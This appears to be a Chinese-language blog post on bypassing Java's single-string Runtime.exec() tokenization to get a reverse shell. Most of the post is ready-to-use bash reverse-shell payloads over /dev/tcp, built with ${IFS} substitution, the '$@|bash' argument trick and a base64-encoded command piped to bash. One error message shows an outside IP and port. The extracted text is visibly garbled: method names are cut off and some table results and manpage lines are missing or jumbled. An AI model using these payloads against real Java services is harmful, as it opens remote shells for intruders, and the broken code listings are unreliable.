2023年11月29日发(作者:)
time().exec获取反弹shell
说明
前⾯写了⼀篇在Java环境下获取shell的⽂章。当时使⽤的语句是:
Runtime r = time();
Process p = (new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
r();
其中在exec()中我们是传⼊了多个参数,可是如果实际的环境是time().exec(String cmd)只能允许我们传⼊⼀个参数,⼜该如
何getshell呢?
exec分析
我们分析⼀下Runtime中的exec()函数:
在e()中存在多个重载的exec()⽅法,如下所⽰:
public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)
除了常见的exec(String command)和exec(String cmdarray[]),其他exec()都增加了envp和File这些限制。虽然如此,但是最终都是调⽤相同
的⽅法,本质没有却区别。这些函数存在的意义可以简要地参考
分析exec(String cmdarray[])和exec(String command):
// exec(String command) 函数
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[okens()];
for (int i = 0; eTokens(); i++)
cmdarray[i] = ken();
return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
可以看到exec(String cmdarray[])和exec(String command)最终都是调⽤的exec(cmdarray, null, null)。exec(String command)通
过StringTokenizer st = new StringTokenizer(command);将其分割为Token之后作为字符串数组,调⽤exec(cmdarray, null, null)。
分析StringTokenizer(String str):
public StringTokenizer(String str) {
this(str, " tnrf", false);
}
将字⼀个字符串使⽤tnrf这些字符进⾏分割。尝试:
String testStr = "a btcndrefg";
StringTokenizer st = new StringTokenizer(testStr);
for (int i = 0; eTokens(); i++)
n(ken());
输出结果:
a
b
c
d
e
g
bypass exec
如果直接尝试执⾏
time().exec("bash -i >& /dev/tcp/ip/port 0>&1");
那么最终执⾏到exec(cmdarray, envp, dir);时,cmdarray的参数结果是:
1 | 2 | 3 | 4 | 5
–|—|—|—|–
bash | -i | >& | /dev/tcp/ip/port | 0>&1
⽽我们执⾏(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});,执⾏到exec(cmdarray, envp, dir);时,cmdarray的参数结
果是:
结果就显⽰出了${IFS}其实就是0x20 0x09 0x0a。尝试利⽤${IFS},于是我们的代码变成了:
time().exec("/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1");
发现执⾏完毕之后出现了/bin/bash: ${IFS}/dev/tcp/118.24.152.245/8888${IFS}0: ambiguous redirect错误。发现当执⾏到
时e:Process exec(String command, String[] envp, File dir),信息如下:
那么就说明利⽤${IFS}执⾏/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1确实能够绕过Java的分隔符。我们直接在
bash中尝试:
spoock@ubuntu:~/Desktop$/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
bash: ${IFS}/dev/tcp/127.0.0.1/8888${IFS}0: ambiguous redirect
同样会出现ambiguous redirect的错误,如果尝试将/dev/tcp/127.0.0.1/8888${IFS}0>&1替换为/dev/tcp/127.0.0.1/8888$ 0>&1,即/bin/bash -
c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1就能够成功地进⾏反弹shell了。使⽤zsh进⾏尝试/bin/zsh -c bash${IFS}-
i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1,同样会出现ambiguous redirect那么就是说明可能上述的写法不符合shell的语法。
最终进⾏测试,在/bin/bash -c bash>x${IFS}0就会出现ambiguous redirect问题,猜测可能是x${IFS}0才会出现这样的问题,⾄于为什么会出
现的这样的问题,希望有⼤⽜能够帮忙解答⼀下。
所以如果使⽤/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1就⼀定不⾏了吗?我们⽬前已经知道/bin/bash -c
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1是可以反弹shell的,那么问题的关键就是在这种/bin/zsh -c bash${IFS}-
i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1情况下的${IFS}绕过。我们查看bash中有什么语法可供我们使⽤。
bash manpage
Duplicating File Descriptors
The redirection operator
[n]<&word
is used to duplicate input file descriptors. If word expands to one or more digits, the file descriptor denoted by n is made to be a copy of that file descriptor. If t
is used.
The operator
[n]>&word
not specify a file descriptor open for input, a redirection error occurs. If word evaluates to -, file descriptor n is closed. If n is not specified, the standard input (
is used similarly to duplicate output file descriptors. If n is not specified, the standard output (file descriptor 1) is used. If the digits in word do not specify a file
standard output and standard error are redirected as described previously.
for output, a redirection error occurs. If word evaluates to -, file descriptor n is closed. As a special case, if n is omitted, and word does not expand to one o
对于[n]<&word,发现有If n is not specified, the standard input (file descriptor 0) is used,貌似就可以解决我们的问题。那么我们可以改写
为:
/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1
可以完美实现反弹shell,查看其fd信息如下:
spoock@ubuntu:~/Desktop$ ls -all /proc/10434/fd
total 0
dr-x------ 2 spoock spoock 0 Nov 25 06:44 .
dr-xr-xr-x 9 spoock spoock 0 Nov 25 06:44 ..
lrwx------ 1 spoock spoock 64 Nov 25 06:44 0 -> socket:[77646]
lrwx------ 1 spoock spoock 64 Nov 25 06:44 1 -> socket:[77646]
lrwx------ 1 spoock spoock 64 Nov 25 06:44 2 -> socket:[77646]
⽂件描述符0,1,2都指向了socket。既然这种可以,我们尝试利⽤Java进⾏反弹shell,
time().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1");
也能够执⾏反弹shell。
$@
发现在linux中还存在$@和$*,他们的含义都是list of all arguments passed to the script。进⾏⼀个简单的实验:
#!/bin/bash
# - Cmd args - positional parameter demo
echo "Command-Line Arguments Demo"
echo "*** All args displayed using $@ positional parameter ***"
echo $@
echo "*** All args displayed using $* positional parameter ***"
echo $*
运⾏得到的结果是:
spoock@ubuntu:~/Desktop$ ./ foo bar test
Command-Line Arguments Demo
*** All args displayed using $@ positional parameter ***
foo bar test
*** All args displayed using $* positional parameter ***
foo bar test
那么我们就可以利⽤来反弹shell了。看bash语法:
bash [options] [command_string | file]
-c If the -c option is present, then commands are read from the first non-option argument command_ there are arguments after the command_string, the
结合bash和$@,我们可以变为:
/bin/sh -c '$@|sh' xxx echo ls
可以成功地执⾏ls。分析下这个命令,当bash解析到'$@|sh' xxx echo ls,发现$@。$@需要取脚本的参数,那么就会解析xxx echo ls,由
于$@只会取脚本参数,会将第⼀个参数认为是脚本名称(认为xxx是脚本名称),就会取到echo ls。那么最终执⾏的就是echo ls|sh,就可以
成功地执⾏ls命令了。
利⽤上⾯这个trick,那么我们就可以执⾏任意命令了,包括反弹shell。如/bin/bash -c '$@|bash' 0 echo 'bash -i >&/dev/tcp/ip/port 0>&1'最终可
以成功地反弹shell。我们利⽤Java进⾏测试:
time().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");
最终在JAVA中的数组的结果如下:
最终相当于执⾏了echo 'bash -i >&/dev/tcp/127.0.0.1/8888 0>&1'|bash命令,成功反弹shell。同样地,/bin/bash -c $*|bash 0 echo bash -i
>&/dev/tcp/127.0.0.1/8888 0>&1也是可以的。
base64 decode
对payload进⾏base64编码从⽽绕过exec()。bash -i >&/dev/tcp/127.0.0.1/8888 0>&1经过转换变为bash -c
{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}。测试:
time().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
成功执⾏反弹shell。


发布评论